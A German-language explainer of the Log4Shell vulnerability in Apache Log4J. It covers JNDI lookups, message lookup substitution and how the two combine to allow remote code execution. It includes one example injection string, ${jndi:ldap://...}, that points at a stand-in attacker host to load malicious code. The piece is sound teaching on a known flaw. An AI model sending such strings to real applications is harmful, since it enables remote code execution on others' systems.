Log4Shell betrifft Log4J, eine Open-Source-Protokollierungsbibliothek, die von der Apache Software Foundation gepflegt wird. Log4J ist ein Logger – eine Softwarekomponente, die Informationen und Ereignisse in einem Programm aufzeichnet, wie Fehlermeldungen und Benutzereingaben.
Log4J ist kein eigenständiges Programm, sondern ein Codepaket, das Entwickler in ihre Java-Anwendungen einfügen können, anstatt Logger von Grund auf neu zu entwickeln. Große Unternehmen – darunter Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco und viele andere – verwenden Log4J in ihrer Software und ihren Diensten.
Log4Shell resultiert aus der Art und Weise, wie anfällige Versionen von Log4J mit zwei verwandten Funktionen umgehen: Java Naming and Directory Interface (JNDI)-Suchen und Nachrichten-Suchersetzungen. Jedes Feature für sich allein wäre harmlos, aber die Interaktion zwischen ihnen gibt Hackern eine mächtige Waffe an die Hand.
JNDI ist eine Programmierschnittstelle (Application Programming Interface, API), mit der Java-Apps auf Ressourcen, die auf externen Servern gehostet werden, zugreifen können. Eine JNDI-Suche ist ein Befehl, der die App dazu auffordert, zu einem Server zu wechseln und ein bestimmtes Objekt herunterzuladen, z. B. bestimmte Daten oder ein Skript. Ältere Versionen von Log4j 2 führen automatisch jeden Code aus, der auf diese Weise heruntergeladen wurde.
Die Ersetzung von Nachrichten-Lookups ermöglicht es Benutzern und Anwendungen, innerhalb von Protokollnachrichten Variablen an Log4J zu senden, indem sie eine bestimmte Syntax verwenden: ${prefix:name}. Wenn Log4J auf diese Syntax stößt, löst es die Variable auf und trägt den Wert in das Protokoll ein. Wenn Log4J z.B. eine Nachricht mit dem Inhalt
${java:version}
erhält, würde es die aktuelle Version von Java auf dem Gerät ermitteln. Im Protokoll würde Folgendes vermerkt: „Java Version X.XX“.
Anders ausgedrückt: Log4J behandelt die Ersetzung von Nachrichten-Lookups nicht wie normalen Text. Es behandelt sie wie Befehle und ergreift Maßnahmen auf der Grundlage ihrer Inhalte. Hacker können diese Tatsache ausnutzen, um bösartige JNDI-Lookup-Befehle an Anwendungen zu senden, die anfällige Versionen von Log4J verwenden. Ein Hacker könnte Log4J beispielsweise eine Zeichenkette wie die folgende senden:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Wenn Log4J diese Nachricht erhielt, löste es die Variable auf, indem es den Server von myevilwebsite.biz kontaktierte und das Objekt unter /maliciouscode herunterlud. Dieser Vorgang würde dazu führen, dass Log4J den Java-Code ausführt, den der Hacker an diesem Ort versteckt hat, normalerweise Malware.